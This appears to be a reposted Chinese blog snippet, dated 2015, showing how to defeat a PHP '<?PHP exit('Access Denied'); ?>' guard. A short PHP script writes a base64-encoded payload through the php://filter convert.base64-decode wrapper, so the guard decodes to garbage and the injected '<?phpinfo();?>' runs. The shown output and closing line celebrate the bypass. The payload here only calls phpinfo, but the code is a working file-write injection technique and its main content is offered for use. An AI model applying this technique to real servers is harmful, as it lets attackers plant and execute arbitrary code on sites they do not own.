首页 > 数据库技术 > 详细

绕过 <?PHP exit('Access Denied'); ?> 限制

时间:2015-06-10 20:38:54      阅读:343      评论:0      收藏:0      [点我收藏+]

绕过 <?PHP exit(‘Access Denied‘); ?> 限制

 
<?php
$shellcode=‘PD9waHBpbmZvKCk7Pz4‘;//   base64_decode <?phpinfo();?>
$endstr=‘s‘;
 
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit(‘Access Denied‘); ?>\t$timestamp");
 
?>
 
利用base64产生乱码可以生成:
 
<s奁+@q乾? 鏩<?phpinfo();?>
 
就绕过了exit()限制,真厉害呀

绕过 <?PHP exit('Access Denied'); ?> 限制

原文:http://www.cnblogs.com/archoncap/p/4567021.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!